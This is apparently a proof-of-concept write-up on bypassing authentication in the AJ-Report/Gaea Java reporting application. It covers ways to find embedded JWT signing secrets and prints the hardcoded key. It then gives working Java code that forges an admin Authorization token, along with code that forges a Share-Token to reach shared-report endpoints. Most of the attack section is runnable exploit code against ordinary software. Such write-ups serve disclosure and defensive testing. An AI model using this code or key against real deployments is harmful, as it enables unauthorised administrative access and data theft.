{
"header": {
"typ": "JWT",
"alg": "HS256"
},
"payload": {
"type": 0,
"uuid": "04ad4a8524694c05bd6896d582a2f784",
"tenant": "tenantCode",
"username": "admin"
},
"signature": "E6CEsWBjmC9Bb8hquH3T9PtJ9jqt8_5dG_lTeQVK5RE",
"verified": false,
"secret": ""
}
If the compiled binary does not allow direct keyword searches for secrets, how can one quickly extract them? Here are several methods for discovering embedded secrets:
Method One: Retrieve Source Code
Download the source code from platforms like GitHub. Functions containing secrets will usually have identifiable references. For instance, the secret is passed into the signing method through a function call.
public String generateToken(String userName, String uniqueId, Integer userType, String tenantId) {
String jwt = JWT.create()
.withClaim("username", userName)
.withClaim("uuid", uniqueId)
.withClaim("type", userType)
.withClaim("tenant", tenantId)
.sign(Algorithm.HMAC256(this.securityConfig.getJwtKey()));
return jwt;
}
public class SecurityConfig {
private String jwtKey = "anji_plus_gaea_p@ss1234";
}
Method Two: Recursively Extract JAR Files
Since IDEs like IntelliJ cannot index nested JAR files, you can recursively extract all nested archives from the main JAR file and then open the extracted content in the IDE for searching.
Method Three: Dynamic Debugging
Use debugging techniques to inspect runtime values during execution.
Proof of Concept (POC)
Faking Authorization Header
Based on the JWT generation logic in AccessUserServiceImpl#login:
// Generate user token
String uniqueId = GaeaUtils.generateUUID();
token = jwtBean.generateToken(loginName, uniqueId, 0, GaeaConstant.TENANT_CODE);
cacheHelper.setWithExpiry(tokenKey, token, 3600);
Note that GaeaConstant.TENANT_CODE is just part of the payload, not the secret. The actual secret is found in the JwtBean.generateToken() method:
public String generateToken(String userName, String uniqueId, Integer userType, String tenantId) {
String jwt = JWT.create()
.withClaim("username", userName)
.withClaim("uuid", uniqueId)
.withClaim("type", userType)
.withClaim("tenant", tenantId)
.sign(Algorithm.HMAC256(this.securityConfig.getJwtKey()));
return jwt;
}
Create a new Maven project and add the JWT dependency:
<dependency>
<groupId>com.auth0</groupId>
<artifactId>java-jwt</artifactId>
<version>4.4.0</version>
</dependency>
Using the discovered secret, construct a valid token:
public static void main(String[] args) {
String username = "admin";
String uuid = UUID.randomUUID().toString().replace("-", "");
String type = "1";
String tenantCode = "tenantCode";
String token = JWT.create()
.withClaim("username", username)
.withClaim("uuid", uuid)
.withClaim("type", type)
.withClaim("tenant", tenantCode)
.sign(Algorithm.HMAC256("anji_plus_gaea_p@ss1234"));
System.out.println(token);
}
Faking Share Token
The application also checks for a valid shareToken if the session is not cached. This token ensures access to shared reports.
if (!this.cacheHelper.exists(tokenKey)) {
if (StringUtils.isNotBlank(shareToken)) {
List<String> reportCodes = JwtUtil.getReportCodeList(shareToken);
if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview")) {
if (reportCodes.stream().noneMatch(uri::contains)) {
ResponseBean responseBean = ResponseBean.builder().code("50014").message("分享链接已过期").build();
response.getWriter().print(JSONObject.toJSONString(responseBean));
return;
}
}
filterChain.doFilter(request, response);
} else {
this.handleError(response);
}
}
Search globally for shareToken and locate the method ReportShareServiceImpl.init, which generates the token. It accepts string parameters rather than complex objects.
Constructing a valid share token requires matching the same encoding logic:
String reportCode = "/dataSetParam/verification";
String shareCode = "1";
String sharePassword = "1";
Calendar calendar = Calendar.getInstance();
calendar.add(Calendar.DAY_OF_MONTH, 3);
Date validTime = calendar.getTime();
String shareToken = JwtUtil.createToken(reportCode, shareCode, sharePassword, validTime);
System.out.println(shareToken);
Add the generated token in the Share-Token header.
Important Considerations
Mismatched token construction may cause validation failures in downstream controllers that rely on payload fields. To avoid issues, always follow the exact logic used in the original codebase when generating tokens.